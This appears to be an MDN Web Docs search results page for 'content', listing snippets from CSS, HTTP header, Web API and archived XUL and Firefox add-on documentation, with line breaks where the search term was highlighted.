content:   foo    foo internet explorer will render the above   as white spaces, even though that is against the w3c specification.
...process element nodes is to iterate over all child nodes and only process those with a nodetype of 1: html: <div id="foo"> <span>test</span> </div> javascript: var mydiv = document.getelementbyid("foo"); var mychildren = mydiv.childnodes; for (var i = 0; i < mychildren.length; i++) { if (mychildren[i].nodetype == 1){ // element node }; }; generate and manipulate
content mozilla supports the legacy methods for adding
content into the dom dynamically, such as document.write, document.open and document.close.
...And 16 more matches
content - CSS: Cascading Style Sheets
the
content css property replaces an element with a generated value.
... objects inserted using the
content property are anonymous replaced elements.
... /* keywords that cannot be combined with other values */
content: normal;
content: none; /* <image> values */
content: url("http://www.example.com/test.png");
content: linear-gradient(#e66465, #9198e5); /* alt text for generated
content, added in the level 3 specification */
content: url("http://www.example.com/test.png") / "this is the alt text"; /* values below can only be applied to generated
content using ::before and ::after */ /* <string> value */
content: "prefix"; /* <counter> values */
content: counter(chapter_counter);
content: counters(section_counter, "."); /* attr() value linked to the html attribute value */
content: attr(value string); /* language- and position-dependent keywords */
content: open-quote;
content: close-quote;
content: no-open-quote;
content: no-close-quote;...
...And 16 more matches
Content negotiation - HTTP
in http,
content negotiation is the mechanism that is used for serving different representations of a resource at the same uri, so that the user agent can specify which is best suited for the user (for example, which language of a document, which image format, or which
content encoding).
... note: some disadvantages of http
content negotiation are explained in a wiki page from whatwg.
... html5 provides alternatives to
content negotiation via, for example, the <source> element.
...And 15 more matches
Content-Security-Policy - HTTP
the http
content-security-policy response header allows web site administrators to control resources the user agent is allowed to load for a given page.
... for more information, see the introductory article on
content security policy (csp).
... header type response header forbidden header name no syntax
content-security-policy: <policy-directive>; <policy-directive> where <policy-directive> consists of: <directive> <value> with no internal punctuation.
...And 15 more matches
Intercepting Page Loads - Archive of obsolete content
« previousnext » there are several ways to detect and intercept loading of web pages and their
content, be it only to realize when it happens, modify their
contents, or to block them and do something else instead.
... some of the techniques presented here apply only to
content loaded in the main browser area, while others detect
content being loaded in other xul windows, or even detect xul
content being loaded.
...it is full of useful functions, so you should always keep it in mind when you want to handle tabs and web
content windows.
...And 14 more matches
tree - Archive of obsolete content
description
content tree nsitreeview, nsitree
contentview yes this tree has treeitem elements placed within the treechildren element.
... in this situation, a
content view (which implements the interface nsitree
contentview) which is a more specialized type of view, uses the treeitem elements and their descendants to determine the data to display in the tree.
... however, the treeitems are not displayed directly; they are used only as data to the
content view.
...And 14 more matches
Adding sidebars - Archive of obsolete content
<menupopup id="viewsidebarmenu"> <menuitem id="xulschoolhello-sidebar" label="&xulschoolhello.sidebar.title;" accesskey="&xulschoolhello.sidebar.accesskey;" type="checkbox" autocheck="false" group="sidebar" sidebarurl="chrome://xulschoolhello/
content/sidebar.xul" sidebartitle="&xulschoolhello.sidebar.title;" oncommand="togglesidebar('xulschoolhello-sidebar');" /> </menupopup> the example in the mdc page includes a shortcut key combination to toggle the new sidebar.
... the xul page for the sidebar can hold any
content you want and it's no different from other xul windows or overlays.
...you should design the
content of your sidebar carefully, so that it is usable and appealing regardless of width.
...And 13 more matches
Building Trees - Archive of obsolete content
rather than generate
content for every row in the tree, the results are stored in a list inside the builder.
...to use the tree builder, you need to add a flags attribute to the root node: <tree datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood" flags="dont-build-
content"> the dont-build-
content flag causes no
content to be built for the template.
...without this flag, the template will be handled by the
content builder.
...And 13 more matches
Templates - Archive of obsolete content
to use your own datasource, specify the url of an rdf file for the datasources attribute, as indicated in the example below: <box datasources="chrome://zoo/
content/animals.rdf" ref="http://www.some-fictitious-zoo.com/all-animals"> you can even specify multiple datasources at a time by separating them with a space in the attribute value.
... the uri attribute is used to specify the element where
content generation will begin.
...
content earlier will only be generated once whereas
content inside will be generated for each resource.
...And 13 more matches
remote/parent - Archive of obsolete content
usage in multiprocess firefox: the browser ui runs in one process, sometimes called the chrome process or the parent process web
content runs in one or more other processes, sometimes called
content processes or remote processes or child processes.
... by default, add-ons run in the chrome process and can't directly access web
content.
... in the sdk,
content scripts run in the child process, and, of course, can access web
content.
...And 12 more matches
Modifying the Page Hosted by a Tab - Archive of obsolete content
to modify the page hosted by a particular tab, load one or more
content scripts into it using attach() method of tab object.
... the job of these scripts is to interact with web
content.
... here's a simple example: var button = require("sdk/ui/button/action").actionbutton({ id: "style-tab", label: "style tab", icon: "./icon-16.png", onclick: function() { require("sdk/tabs").activetab.attach({
contentscript: 'document.body.style.border = "5px solid red";' }); } }); to run this example, save an icon file named "icon-16.png" in add-on's "data" directory.
...And 12 more matches
Rule Compilation - Archive of obsolete content
rules the template also contains a set of rules which define
content to be generated based on various conditions.
...for each result that is generated by the query, the conditions specified within the rules are scanned, and
content is generated when a rule matches.
...<vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a" flex="1"> <template> <query> -- query
content goes here -- </query> <rule> -- rule
content goes here -- </rule> <rule> -- rule
content goes here -- </rule> </template> </vbox> query/rule compilation and lazy
content generation when the template builder starts processing, and after it has started the datasource loading, it first must compile the query and rules.
...And 12 more matches
RDF in Mozilla FAQ - Archive of obsolete content
but if you do something interesting with this
content (eg.
...this interface has a flush() method, which will attempt to write the
contents of the datasource back to the url from which they were loaded, using a protocol specific mechanism (e.g., a file: url just writes the file; an http: url might do an http-post).
... flush() only writes the datasource if its
contents have changed.
...And 12 more matches
Node.textContent - Web APIs
the text
content property of the node interface represents the text
content of the node and its descendants.
... note: text
content and htmlelement.innertext are easily confused, but the two properties are different in important ways.
... syntax let text = somenode.text
content someothernode.text
content = string value a string or null description the value of text
content depends on the situation: if the node is a document or a doctype, text
content returns null.
...And 12 more matches
SVGTextContentElement - Web APIs
the svgtext
contentelement interface is implemented by elements that support rendering child text
content.
...ff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggraphicselement</text></a><polyline points="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgtext
contentelement" target="_top"><rect x="51" y="65" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="156" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtext
contentelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants ...
... svgtext
contentelement.textlength read only an svganimatedlength reflecting the textlength attribute of the given element.
...And 12 more matches
request - Archive of obsolete content
content string,object the
content to send to the server.
... if
content is a string, it should be url-encoded (use encodeuricomponent).
... if
content is an object, it should be a collection of name/value pairs.
...And 11 more matches
Custom XUL Elements with XBL - Archive of obsolete content
if you look into the
content directory, you'll see both files: person.xml - this is the main binding file.
...this css file is located in the
content because it's not something we would normally want to be replaced by a skin, and it's not really defining style; it defines
content behavior instead.
...you'll need to keep this in mind when defining the
content of the binding, because weird things can happen if you don't add "xul:" to your
content nodes.
...And 11 more matches
Security best practices in extensions - Archive of obsolete content
web
content handling in general the best way to ensure that the browser is not compromised when you load
content is to make sure it does not have those privileges.
... a more detailed explanation of this process is in displaying web
content in an extension without security issues.
...for example, if you load a chrome url, this means the
content has been registered with firefox and has full access.
...And 11 more matches
Tabbed browser - Archive of obsolete content
lla.org/appshell/window-mediator;1"] .getservice(components.interfaces.nsiwindowmediator); var mainwindow = wm.getmostrecentwindow("navigator:browser"); mainwindow.gbrowser.addtab(...); opening a url in a new tab // add tab gbrowser.addtab("http://www.google.com/"); // add tab, then make active gbrowser.selectedtab = gbrowser.addtab("http://www.google.com/"); manipulating
content of a new tab if you want to work on the
content of the newly opened tab, you'll need to wait until the
content has finished loading.
... // wrong way (the page hasn't finished loading yet) var newtabbrowser = gbrowser.getbrowserfortab(gbrowser.addtab("http://www.google.com/")); alert(newtabbrowser.
contentdocument.body.innerhtml); // better way var newtabbrowser = gbrowser.getbrowserfortab(gbrowser.addtab("http://www.google.com/")); newtabbrowser.addeventlistener("load", function () { newtabbrowser.
contentdocument.body.innerhtml = "<div>hello world</div>"; }, true); (the event target in the onload handler will be a 'tab' xul element).
... opening a url in the correct window/tab there are methods available in chrome://browser/
content/utilityoverlay.js that make it easy to open url in tabs such as openuilinkin and openuilink.
...And 11 more matches
Source code directories overview - Archive of obsolete content
caps contains c interfaces and code for determining the capabilities of
content based on the security settings and certificates (e.g.
...
content was split off from layout and contains objects as they are exposed to the dom.
...the layout engine decides how to divide up the "window real estate" among all the pieces of
content.
...And 11 more matches
Tuning Pageload - Archive of obsolete content
the data flows in gecko as follows: network -> necko -> parser ->
content sink ->
content model -> rendering model -> layout -> painting.
...
content.interrupt.parsing this preference, when true, means that the
content sink can tell the parser to stop for now and return to the event loop, which allows layout and painting to happen.
... if the parser gets a large chunk of data, it will try to parse it all, building the corresponding
content model.
...And 11 more matches
Gecko Compatibility Handbook - Archive of obsolete content
gecko since 1997, much of the web's
content has been developed for microsoft internet explorer 4 or netscape navigator 4.
...instead, each browser supports its own proprietary api for manipulating the
content, style and position of html elements in a web page.
...if this works, set up your detection to serve ie 6
content to visitors with gecko in their user-agent strings.
...And 11 more matches
Using CSS generated content - Learn web development
this article describes some ways in which you can use css to add
content when a document is displayed.
... you modify your stylesheet to add text
content or images.
... one of the important advantages of css is that it helps you to separate a document's style from its
content.
...And 11 more matches
nsIWebContentHandlerRegistrar
xpfe/appshell/public/nsiweb
contenthandlerregistrar.idlscriptable applications wishing to use web
content handlers need to implement this interface.
... inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by @mozilla.org/embeddor.implemented/web-
content-handler-registrar;1 as a service: var nsiwchr = cc["@mozilla.org/embeddor.implemented/web-
content-handler-registrar;1"] .getservice(ci.nsiweb
contenthandlerregistrar); method overview void register
contenthandler(in domstring mimetype, in domstring uri, in domstring title, in nsidomwindow
contentwindow) void registerprotocolhandler(in domstring protocol,in domstring uri, in domstring title, in nsidomwindow
contentwindow) methods re...
...gister
contenthandler summary of register
contenthandler void register
contenthandler( in domstring mimetype, in domstring uri, in domstring title, in nsidomwindow
contentwindow ); parameters mimetype the desired mime type as a string uri the uri to the handler as a string.
...And 11 more matches
ui/sidebar - Archive of obsolete content
you specify its
content using html, css, and javascript, and the user can show or hide it in the same way they can show or hide the built-in sidebars.
... to show what a sidebar looks like, here's a sidebar that displays the results of running the w3c validator on the current page: specifying sidebar
content the
content of a sidebar is specified using html, which is loaded from the url supplied in the url option to the sidebar's constructor.
... unlike modules such as panel, the
content must be local, typically loaded from the add-on's data directory via a url constructed using self.data.url(): var sidebar = require("sdk/ui/sidebar").sidebar({ id: 'my-sidebar', title: 'my sidebar', url: require("sdk/self").data.url("sidebar.html") }); from firefox 34, you can use "./sidebar.html" as an alias for self.data.url("sidebar.html").
...And 10 more matches
Special Condition Tests - Archive of obsolete content
parent tag tests sometimes you want to simply generate one block of
content at the top level and different
content at the recurisive level.
... for example, the bookmarks toolbar in a web browser might display buttons at the first level, but menus and submenus for
content below that.
... templates have a means of allowing a rule to match only if the generated
content would be inserted inside an element with a particular tag name.
...And 10 more matches
Adding Methods to XBL-defined Elements - Archive of obsolete content
accessing the anonymous
content there may be times when you want to modify some aspect of the elements defined in the
content element, either from a method body or elsewhere.
...however, there is a special way of getting this anonymous
content.
...instead, you must call the document's getanonymousnodes() method: var value=document.getanonymousnodes(element); here, 'element' should be set to a reference to the element that you want to get the anonymous
content of.
...And 10 more matches
Using the Editor from XUL - Archive of obsolete content
warning: the
content of this article may be out of date.
...the <iframe>
contents are then editable.
... the xul contains an <editor> tag, e.g.: <editor type="
content-primary" id="
content-frame" src="about:blank" flex="1"/> the attribute type="
content-primary" identifies this as the window
content element, i.e.
...And 10 more matches
XUL element attributes - Archive of obsolete content
when generating
content from a template this is used to determine which resources from the datasource are containers and thus can have child nodes and which ones are not containers.
... datasources type: space separated list of datasource uris a space-separated list of datasources that an element's template will use for
content generation.
...this will make the element so that its
contents can be generated from a datasource.
...And 10 more matches
nsIContentView
content/base/public/nsiframeloader.idlscriptable represents a scrollable
content view whose
contents are actually drawn by a separate process; this is part of the electrolysis multi-process support framework.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) see working with
content views for details on how to use this api.
... note: currently, only <frame> and <iframe> elements are handled as
content views.
...And 10 more matches
Content-Location - HTTP
the
content-location header indicates an alternate location for the returned data.
... the principal use is to indicate the url of a resource transmitted as the result of
content negotiation.
... location and
content-location are different.
...And 10 more matches
Content-Security-Policy-Report-Only - HTTP
the http
content-security-policy-report-only response header allows web developers to experiment with policies by monitoring (but not enforcing) their effects.
... for more information, see also this article on
content security policy (csp).
... syntax
content-security-policy-report-only: <policy-directive>; <policy-directive> directives the directives of the
content-security-policy header can also be applied to
content-security-policy-report-only.
...And 10 more matches
Porting the Library Detector - Archive of obsolete content
the script listens to gbrowser's dom
contentloaded event.
... finally, it listens to gbrowser's tabselect event, to update the
contents of the box for that window.
...
content script separation the test objects in the original script need access to the dom window object, so in the sdk port, they need to run in a
content script.
...And 9 more matches
Creating a Firefox sidebar extension - Archive of obsolete content
warning: the
content of this article may be out of date.
...an extension package usually contains a "
content" provider, which contains the xul code and application logic.
...package structure emptysidebar \- chrome |-
content |- locale | \- en-us \- skin create all folders, except for skin.
...And 9 more matches
A XUL Bestiary - Archive of obsolete content
in contrast to the mozilla jargon file, this article describes items of specific interest to the web or
content developer looking to establish a context for understanding mozilla's new technologies -- and in particular mozilla's xml-based user interface language, xul.
...in general, chrome refers to a xul interface and all of its supporting files; chrome means the xul
content and structure, plus the css skin, plus whatever localization and platform-specific files are part of that xul interface.
... by contrast, the skin is just the css and referenced graphics for a xul file, the localization strings are just a dtd, and the
content is just the xul.
...And 9 more matches
Custom toolbar button - Archive of obsolete content
copy the following
content, making sure that you scroll to get all of it.
...#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest" em:name="custom button" em:description="my custom toolbar button" em:creator="my name" em:id="custom-toolbar-button@example.com" em:version="1.0" em:homepageurl="http://developer.mozilla.org/en/docs/custom_toolbar_button" em:iconurl="chrome://custombutton/
content/icon.png" > <em:targetapplication><!-- firefox --> <description em:id="{ec8030f7-c20a-464f-9b0e-13a3a9e97384}" em:minversion="1.4" em:maxversion="*" /> </em:targetapplication> <em:targetapplication><!-- thunderbird --> <description em:id="{3550f703-e582-4d05-9a08-453d09bdfdc6}" em:minversion="1.5" em:maxversion="51.0" /> ...
... </em:targetapplication> <em:targetapplication><!-- sunbird --> <description em:id="{718e30fb-e89b-41dd-9da7-e25a45638b28}" em:minversion="0.2.9" em:maxversion="99" /> </em:targetapplication> <em:file> <description about="urn:mozilla:extension:custombutton" em:package="
content/custombutton/" /> </em:file> </description> </rdf> optionally customize the file by changing the name, description and creator.
...And 9 more matches
nsIContentPrefService
use the asynchronous interface nsi
contentprefservice2 instead.
... dom/interfaces/base/nsi
contentprefservice.idlscriptable please add a summary to this article.
... last changed in gecko 2 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsisupports implemented by: @mozilla.org/
content-pref/service;1.
...And 9 more matches
libmime content type handlers
warning: the
content of this article may be out of date.
...pizzarro <rhp@netscape.com>
contents overview api's plugin location/installation sample
content type handler plugin overview the libmime module implements a general-purpose mime parser and one of the primary methods provided by the parser is the ability to emit an html representation of an input stream.
... a necessary capability of this module is to dynamically add the ability to decode and render various
content types.
...And 9 more matches
ContentIndex - Web APIs
the
contentindex interface of the
content index api allows developers to register their offline enabled
content with the browser.
... methods
contentindex.add registers an item with the
content index.
...
contentindex.delete unregisters an item from the currently indexed
content.
...And 9 more matches
LargestContentfulPaint - Web APIs
the largest
contentfulpaint interface of the largest
contentful paint api provides details about the largest image or text paint before user input on a web page.
... the timing of this paint is a good heuristic for when the main page
content is available during load.
... properties largest
contentfulpaint.element the element that is the current largest
contentful paint.
...And 9 more matches
port - Archive of obsolete content
this article documents the port object, which is used to communicate between a
content script and the main add-on code.
... the port object provides message sending and receiving api enabling conversations between a
content script and the main add-on code.
... each end of the conversation has access to a port: the
content script via the global self property, and the main add-on code via a worker object associated with the sdk module you've used to attach the
content script, such as page-mod or page-worker.
...And 8 more matches
Two Types of Scripts - Archive of obsolete content
on the web, javascript executes in the context of a web page, and has access to that page's dom
content.
...if you need to access the dom of a particular page, you need to use a
content script.
...in the sdk documentation we call one sort "add-on code" and the other sort "
content scripts".
...And 8 more matches
frame/hidden-frame - Archive of obsolete content
this is useful in the construction of apis that load web
content not intended to be directly seen or accessed by users, like page-worker.
... it is also useful in the construction of apis that load web
content for intermittent display, such as panel.
...add registers a hidden frame, preparing it to load
content.
...And 8 more matches
Creating annotations - Archive of obsolete content
selector page-mod selector
content scripts the
content script for the selector page-mod uses jquery to examine and manipulate the dom.
...the show message contains: the url for the page, the id attribute value, and the text
content of the page element.
... updating main.js go back to main.js and add the code to create the selector into the main function: var selector = pagemod.pagemod({ include: ['*'],
contentscriptwhen: 'ready',
contentscriptfile: [data.url('jquery-1.4.2.min.js'), data.url('selector.js')], onattach: function(worker) { worker.postmessage(annotatorison); selectors.push(worker); worker.port.on('show', function(data) { console.log(data); }); worker.on('detach', function () { detachworker(this, selectors); }); } }); make sure...
...And 8 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
mappings, so that you can access your files with custom paths such as: resource://myaddon/filename.ext chrome://myaddon/
content/filename.ext step 2: no more resource:// uris for files internal to your bundle unfortunately, resource mappings in your chrome.manifest were not usable in restartless add-ons until mozilla finally fixed this bug in firefox 38, which looked bad, but only because mozilla is still using resource:// uris internally and in examples.
...the resource:// protocol actually bleeds into
content which allows webpages to detect installed add-ons using the protocol, which is not particularly fantastic (just the static file
contents, not any loaded script/data).
...it's probably a good idea to do this even if you aren't going fully restartless / extractionless due to the previously mentioned exposure to
content of resource mappings.
...And 8 more matches
browser.type - Archive of obsolete content
subdocuments of chrome documents are of chrome type, unless the container element (one of iframe, browser or editor) has one of the special type attribute values (the common ones are
content,
content-targetable and
content-primary) indicating that the subdocument is of
content type.
...the type attribute on all frames in
content documents is ignored; subdocuments of
content documents are always
content documents.
...
content a browser for
content.
...And 8 more matches
Template Builder Interface - Archive of obsolete content
if the element is a <tree> element and has the flags attribute set to "dont-build-
content", a tree builder will be created.
... otherwise, a
content builder will be created.
...the builder associated with an element is accessible via the element's 'builder' property both for
content builders and for tree builders.
...And 8 more matches
editor - Archive of obsolete content
attributes editortype, src, type properties accessibletype, commandmanager,
contentdocument,
contentwindow, docshell, editingsession, editortype, webbrowserfind, webnavigation methods geteditor, gethtmleditor, makeeditable examples this example shows how to made the editor editable by setting the designmode property of the loaded html document: <script language="javascript"> function initeditor(){ // this function is called to set up the editor var editor = document...
....getelementbyid("myeditor"); editor.
contentdocument.designmode = 'on'; } </script> <editor id="myeditor" editortype="html" src="about:blank" flex="1" type="
content-primary"/> once editable, the document can have special formatting and other html pieces added to it using the document.execcommand method: var editor = document.getelementbyid("myeditor"); // toggle bold for the current selection editor.
contentdocument.execcommand("bold", false, null); see the midas overview for more command strings.
...this value will be overridden depending on the
content type of the document in the editor.
...And 8 more matches
tabbrowser - Archive of obsolete content
attributes autocompleteenabled, autocompletepopup, autoscroll,
contentcontextmenu,
contenttooltip, handlectrlpageupdown, onbookmarkgroup, onnewtab, tabmodalpromptshowing properties browsers, cangoback, cangoforward,
contentdocument,
contenttitle,
contentvieweredit,
contentviewerfile,
contentwindow, currenturi, docshell, documentcharsetinfo, homepage, markupdocumentviewer, securityui, selectedbrowser, selectedtab, sessionhistory, tabcontainer, tabs, visibletabs, we...
...
contentcontextmenu type: id the id of a menupopup element serving as the context menu for the
content area in the tabbrowser.
...
contenttooltip type: id the id of a tooltip element to be used for the
content area in the tabbrowser.
...And 8 more matches
XULRunner tips - Archive of obsolete content
the following prefs must also be set to make the xpinstall dialog, extension manager, and theme manager work: pref("xpinstall.dialog.confirm", "chrome://mozapps/
content/xpinstall/xpinstallconfirm.xul"); pref("xpinstall.dialog.progress.skin", "chrome://mozapps/
content/extensions/extensions.xul?type=themes"); pref("xpinstall.dialog.progress.chrome", "chrome://mozapps/
content/extensions/extensions.xul?type=extensions"); pref("xpinstall.dialog.progress.type.skin", "extension:manager-themes"); pref("xpinstall.dialog.progress.type.chrome", "extension:manager-extension...
... window url window type extension manager chrome://mozapps/
content/extensions/extensions.xul?type=extensions extension:manager-extensions theme manager chrome://mozapps/
content/extensions/extensions.xul?type=themes extension:manager-themes javascript console chrome://global/
content/console.xul global:console about:config chrome://global/
content/config.xul developer extensions venkman need a custom bui...
...when using xulrunner 1.9 or greater, you can create your own alias in your chrome manifest add a "skin" line: skin communicator classic/1.0 skin/communicator/ add a skin folder named "communicator" and add a single css file named "communicator.css" with this
content: @import url("chrome://global/skin"); dom inspector to add dom inspector 2.0.* to your xulrunner 1.9.0.* application follow these steps: download the dom inspector (instead of clicking the "add to..." button, right-click and select "save link as...").
...And 8 more matches
Examples - Archive of obsolete content
you can get the
contents of style.css at the bottom of this page.
...--> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 1 - < in xhtml</title> <meta http-equiv="
content-type"
content="application/xhtml+xml; charset=utf-8" /> <script type="text/javascript"> var i = 0; while (++i > 10) { // ...
... </p> </body> </html> back to the article problem 2 <!-- this file should have a .xhtml extension --> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 2 - comments in xhtml</title> <meta http-equiv="
content-type"
content="application/xhtml+xml; charset=utf-8" /> <style type="text/css"> <!-- body {background-color: blue; color: yellow; } --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script> </head> <body> <h1>problem 2 - comments in xhtml</h1> <p> t...
...And 8 more matches
nsIContentViewer
docshell/base/nsi
contentviewer.idlscriptable handles displaying
content.
...to create an instance, use: var
contentviewer = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsi
contentviewer); method overview void clearhistoryentry(); void close(in nsishentry historyentry); void destroy(); [noscript,notxpcom,nostdcall] nsiviewptr findcontainerview(); void getbounds(in nsintrectref abounds); native code only!
... previousviewer nsi
contentviewer the previous
content viewer, which has been closed but not destroyed.
...And 8 more matches
ContentIndex.getAll() - Web APIs
the getall() method of the
contentindex interface returns a promise that resolves with an iterable list of
content index entries.
... syntax var indexed
content =
contentindex.getall(); parameters this method receives no parameters.
... return value returns a promise that resolves with an array of
contentdescription items.
...And 8 more matches
align-content - CSS: Cascading Style Sheets
the css align-
content property sets the distribution of space between and around
content items along a flexbox's cross-axis or a grid's block axis.
... syntax /* basic positional alignment */ /* align-
content does not take left and right values */ align-
content: center; /* pack items around the center */ align-
content: start; /* pack items from the start */ align-
content: end; /* pack items from the end */ align-
content: flex-start; /* pack flex items from the start */ align-
content: flex-end; /* pack flex items from the end */ /* normal alignment */ align-
content: normal; /* basel...
...ine alignment */ align-
content: baseline; align-
content: first baseline; align-
content: last baseline; /* distributed alignment */ align-
content: space-between; /* distribute items evenly the first item is flush with the start, the last is flush with the end */ align-
content: space-around; /* distribute items evenly items have a half-size space on either end */ align-
content: space-evenly; /* distribute items evenly items have equal space around them */ align-
content: stretch; /* distribute items evenly stretch 'auto'-sized items to fit the container */ /* ove...
...And 8 more matches
<template>: The Content Template element - HTML: Hypertext Markup Language
the html
content template (<template>) element is a mechanism for holding html that is not to be rendered immediately when a page is loaded but may be instantiated subsequently during runtime using javascript.
... think of a template as a
content fragment that is being stored for subsequent use in the document.
... while the parser does process the
contents of the <template> element while loading the page, it does so only to ensure that those
contents are valid; the element's
contents are not rendered, however.
...And 8 more matches
How to fix a website with blocked mixed content - Web security
starting with firefox 23, firefox blocks active mixed
content by default.
... your website may break if your website delivers https pages, all active mixed
content delivered via http on this pages will be blocked by default.
...passive mixed
content is displayed by default, but users can set a preference to block this type of
content, as well.
...And 8 more matches
remote/child - Archive of obsolete content
enables an sdk module loaded into a child process to access web
content in the child process and communicate with modules in the main process.
...it provides two main things: access to web
content loaded into this child process port mechanisms to communicate with the main process interacting with web
content to interact with web
content, the sdk/remote/child module provides a frames property that's a list of all
content frames loaded into this child process.
... each frame then has a
content property that's the top-level dom window for the frame, and addeventlistener/removeeventlistener functions that enable you to listen to dom events dispatched by the frame.
...And 7 more matches
JavaScript Daemons Management - Archive of obsolete content
examples example #1: a standard instantiation – new daemon() <!doctype html> <html> <head> <meta http-equiv="
content-type"
content="text/html; charset=utf-8" /> <title>new daemon(…)</title> <script type="text/javascript" src="daemon.js"></script> <script type="text/javascript" src="daemon-methods.js"></script> <script type="text/javascript"> function perform (nindex, nlength, bbackw) { // http://tyleregeto.com/text-animation-in-javascript for (var oletter, nletter = 0; nletter < aletters.length; nle...
...tter++) { oletter = aletters[nletter]; var ndist = nmaxdist - nmaxdist * nindex / nlength; oletter.pos += 0.08; oletter.elem.style.top = math.sin(oletter.pos) * ndist + "px"; oletter.elem.style.left = math.cos(oletter.pos) * ndist * 5 + "px"; } } function prepare () { // build letters list // http://tyleregeto.com/text-animation-in-javascript this.text
content = ""; aletters.length = 0; for (var ospan, oletter, nletter = 0, nlen = stext.length; nletter < nlen; nletter++) { ospan = document.createelement("span"); ospan.text
content = stext[nletter]; oletter = { "elem": ospan, "parent": this }; aletters.push(oletter); oletter.pos = math.random() * 50; oletter.elem.style.position = "relative"; this.appendchild(ospan); } } var nmaxdist =...
...n><br /> frame rate: <input type="text" id="vello" value="33" style="width: 40px;" onkeypress="return event.charcode===0||/\d/.test(string.fromcharcode(event.charcode));" onkeyup="if(isfinite(this.value)&&number(this.value)>0){orecompose.setrate(this.value);}" /></p> </body> </html> example #2: a practical instantiation – daemon.buildaround() <!doctype html> <html> <head> <meta http-equiv="
content-type"
content="text/html; charset=utf-8" /> <title>daemon.buildaround(…)</title> <script type="text/javascript" src="daemon.js"></script> <script type="text/javascript" src="daemon-methods.js"></script> <script type="text/javascript"> /*\ |*| |*| :: daemon.buildaround(@context[, @rate, @length]) :: |*| |*| returns a new daemon built around a @context object.
...And 7 more matches
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
ersion="1.0" encoding="utf-8"?> <page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript"><![cdata[ var ioservice = components.classes['@mozilla.org/network/io-service;1'] .getservice(components.interfaces.nsiioservice); alert(ioservice); ]]></script> </page> calling xpconnect using local files try saving the
contents of listing 1 as the file test.xul, somewhere on your desktop, and drag and drop it into firefox to open it.
... permit by dialog try adding the
contents of listing 2 to test.xul, before the line var ioservice = …, and re-open it in firefox.
...to run the file's scripts without manual confirmation, add the
contents of listing 3 to the prefs.js file in the user profile folder.
...And 7 more matches
Creating a Microsummary - Archive of obsolete content
warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) a microsummary generator is a set of instructions for creating a microsummary from the
content of a page.
...otherwise, if the url returns plain text
content (or html
content that can be converted to plain text), firefox uses the
content as the microsummary for the page.
...crosummaries displaying the firefox download count, let's give it the name "firefox download count": <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1" name="firefox download count"> </generator> adding an xslt transform sheet generators must include an xslt transform sheet (also known as an xslt stylesheet) which transforms the page
content into its microsummary.
...And 7 more matches
Actions - Archive of obsolete content
« previousnext » the
content to generate in a template is specified using the <xul:action> element which should either be the next sibling of the <xul:query> element (if no rules need be specified) or be a direct child of a <xul:rule> element.
... the
content to generate goes directly inside the action element.
... this
content will be copied for each matching result (though see below for an exception) and inserted into the document.
...And 7 more matches
Introduction - Archive of obsolete content
next » a xul template is a means of producing a block of
content for each result from some query or query-like operation.
...for each result returned from the query, generate some
content.
... the template syntax allows for different rules to generate different
content based on particular criteria as well as set attribute values from returned results.
...And 7 more matches
Cross Package Overlays - Archive of obsolete content
applying overlays to other packages note: this section talks about
contents.rdf which has been replaced in gecko 1.8 by manifest files.
...you specify this by modifying the
contents.rdf file for your package.
...the mozilla mail application uses overlays to add
content to the browser window.
...And 7 more matches
Grids - Archive of obsolete content
just like html tables, you put
content such as labels and buttons inside the rows.
... however, the grid allows either row or column based organization so you may put
content in either rows or in columns.
...alternatively, you can put
content inside the columns, and use the rows to specify the appearance.
...And 7 more matches
The Chrome URL - Archive of obsolete content
the <part> is either '
content', 'skin' or 'locale' depending on which part you want.
...example: chrome://messenger/
content/messenger.xul the example here refers to the messenger window.
... you could point to a file that is part of a skin by replacing '
content' with 'skin' and changing the filename.
...And 7 more matches
Trees and Templates - Archive of obsolete content
adding datasources to trees when using a tree, you will often use a template to build its
content, to handle a large amount of hierarchial data.
...multiple rules can be used to indicate different
content for different types of data.
... the following example uses the history datasource: <tree datasources="rdf:history" ref="nc:historybydate" flags="dont-build-
content"> as described in the previous section, the tree may use a tree builder for template generation instead of the normal
content builder.
...And 7 more matches
Building a Theme - Archive of obsolete content
an example of the
content within a typical xpi file for a theme: example.xpi: /install.rdf /chrome.manifest /preview.png /icon.png /chrome/ browser/ communicator/ global/ mozapps/ we'll want to create a file structure similar to the one above for our tutorial, so let...
